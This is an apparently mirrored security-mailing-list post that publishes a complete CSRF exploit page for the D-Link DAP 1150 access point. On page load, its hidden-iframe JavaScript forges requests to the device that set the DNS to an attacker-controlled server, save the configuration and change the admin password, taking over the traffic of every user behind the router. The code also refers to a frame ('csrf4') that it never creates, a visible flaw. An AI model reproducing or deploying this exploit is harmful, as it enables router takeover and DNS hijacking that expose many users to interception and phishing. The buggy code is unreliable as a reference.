Exploit for D-Link DAP 1150

2013-03-1100:00:00

vulners.com

114

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Hello!

Here is exploit for D-Link DAP 1150. About vulnerabilities in it, which were used in this exploit, I've wrote in 2011.

I've presented this exploit in my article "CSRF Attacks on Network Devices" in the magazine PenTest Extra 02/2012 (http://pentestmag.com/pentestextra02_2012/), released in February 2012. Later I've placed this article at my site (http://websecurity.com.ua/articles/csrf_attacks_on_network_devices/).

The exploit changes DNS settings (setup attacker's DNS server), saves settings and changes default password. So it will be possible to attack all the users, which are going into Internet via this device. Because all DNS requests will be going through attacker's DNS server.

Code of the exploit:

<html>
<head>
<title>Exploit for D-Link DAP 1150. Made by MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=3;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute('name', 'csrf'+i);
ifr.setAttribute('width', '0');
ifr.setAttribute('height', '0');
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
setTimeout(CSRF3,2000);
}
function CSRF1() {
window.frames["csrf3"].document.body.innerHTML = '<form name="hack" action="http://192.168.0.50/index.cgi" method="get">\n<input type="hidden" name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input type="hidden" name="res_json" value="y">\n<input type="hidden" name="res_data_type" value="json">\n<input type="hidden" name="res_config_action" value="3">\n<input type="hidden" name="res_config_id" value="7">\n<input type="hidden" name="res_struct_size" value="0">\n<input type="hidden" name="res_buf" value="{%22manual%22:true,%20%22ifname%22:%22%22,%20%22servers%22:%2250.50.50.50%22,%20%22defroute%22:true}">\n</form>';
window.frames["csrf3"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf4"].document.body.innerHTML = '<form name="hack" action="http://192.168.0.50/index.cgi" method="get">\n<input type="hidden" name="res_cmd" value="20">\n<input type="hidden" name="res_buf" value="null">\n<input type="hidden" name="res_cmd_type" value="bl">\n<input type="hidden" name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n</form>';
window.frames["csrf4"].document.hack.submit();
}
function CSRF3() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack" action="http://192.168.0.50/index.cgi" method="get">\n<input type="hidden" name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input type="hidden" name="res_config_action" value="3">\n<input type="hidden" name="res_config_id" value="69">\n<input type="hidden" name="res_struct_size" value="1">\n<input type="hidden" name="res_buf" value="password|">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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